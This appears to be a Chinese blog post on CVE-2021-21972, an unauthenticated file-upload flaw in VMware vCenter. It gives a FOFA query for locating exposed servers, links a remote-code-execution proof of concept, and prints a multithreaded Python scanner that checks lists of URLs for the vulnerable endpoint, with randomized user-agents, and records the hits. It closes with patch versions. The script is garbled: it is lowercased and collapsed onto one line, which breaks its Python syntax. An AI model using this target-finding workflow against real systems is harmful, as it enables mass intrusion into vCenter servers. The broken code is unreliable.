关于Vmware vcenter未授权任意文件上传漏洞(CVE-2021-21972)的问题
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2022-04-26 13:57:35
背景cve-2021-21972 vmware vcenter的一个未授权的命令执行漏洞。该漏洞可以上传一个webshell至vcenter服务器的任意位置,然后执行webshell即可。影响版本vm...
背景
cve-2021-21972 vmware vcenter的一个未授权的命令执行漏洞。该漏洞可以上传一个webshell至vcenter服务器的任意位置,然后执行webshell即可。
影响版本
vmware:esxi:7.0/6.7/6.5
vmware:vcenter_server:7.0/6.7/6.5
漏洞复现 fofa查询
语法:title="+ id_vc_welcome +"
poc
https://x.x.x.x/ui/vropspluginui/rest/services/uploadova
使用https://github.com/qmf0c3uk/cve-2021-21972-vcenter-6.5-7.0-rce-poc
脚本批量验证
#-*- coding:utf-8 -*- banner = """ 888888ba dp 88 `8b 88 a88aaaa8p' .d8888b. d8888p .d8888b. dp dp 88 `8b. 88' `88 88 y8ooooo. 88 88 88 .88 88. .88 88 88 88. .88 88888888p `88888p8 dp `88888p' `88888p' ooooooooooooooooooooooooooooooooooooooooooooooooooooo @time:2021/02/24 cve-2021-21972.py c0de by nebulabdsec - @batsu """ print(banner) import threadpool import random import requests import argparse import http.client import urllib3 urllib3.disable_warnings(urllib3.exceptions.insecurerequestwarning) http.client.httpconnection._http_vsn = 10 http.client.httpconnection._http_vsn_str = 'http/1.0' target_uri = "/ui/vropspluginui/rest/services/uploadova" def get_ua(): first_num = random.randint(55, 62) third_num = random.randint(0, 3200) fourth_num = random.randint(0, 140) os_type = [ '(windows nt 6.1; wow64)', '(windows nt 10.0; wow64)', '(x11; linux x86_64)', '(macintosh; intel mac os x 10_12_6)' ] chrome_version = 'chrome/{}.0.{}.{}'.format(first_num, third_num, fourth_num) ua = ' '.join(['mozilla/5.0', random.choice(os_type), 'applewebkit/537.36', '(khtml, like gecko)', chrome_version, 'safari/537.36'] ) return ua def cve_2021_21972(url): proxies = {"scoks5": "http://127.0.0.1:1081"} headers = { 'user-agent': get_ua(), "content-type": "application/x-www-form-urlencoded" } targeturl = url + target_uri try: res = requests.get(targeturl, headers=headers, timeout=15, verify=false, proxies=proxies) # proxies={'socks5': 'http://127.0.0.1:1081'}) # print(len(res.text)) if res.status_code == 405: print("[+] url:{}--------存在cve-2021-21972漏洞".format(url)) # print("[+] command success result: " + res.text + "\n") with open("存在漏洞地址.txt", 'a') as fw: fw.write(url + '\n') else: print("[-] " + url + " 没有发现cve-2021-21972漏洞.\n") # except exception as e: # print(e) except: print("[-] " + url + " request error.\n") def multithreading(filename, pools=5): works = [] with open(filename, "r") as f: for i in f: func_params = [i.rstrip("\n")] # func_params = [i] + [cmd] works.append((func_params, none)) pool = threadpool.threadpool(pools) reqs = threadpool.makerequests(cve_2021_21972, works) [pool.putrequest(req) for req in reqs] pool.wait() def main(): parser = argparse.argumentparser() parser.add_argument("-u", "--url", help="target url; example:http://ip:port") parser.add_argument("-f", "--file", help="url file; example:url.txt") # parser.add_argument("-c", "--cmd", help="commands to be executed; ") args = parser.parse_args() url = args.url # cmd = args.cmd file_path = args.file if url != none and file_path ==none: cve_2021_21972(url) elif url == none and file_path != none: multithreading(file_path, 10) # 默认15线程 if __name__ == "__main__": main()
exp 修复建议
vcenter server7.0版本升级到7.0.u1c
vcenter server6.7版本升级到6.7.u3l
vcenter server6.5版本升级到6.5 u3n
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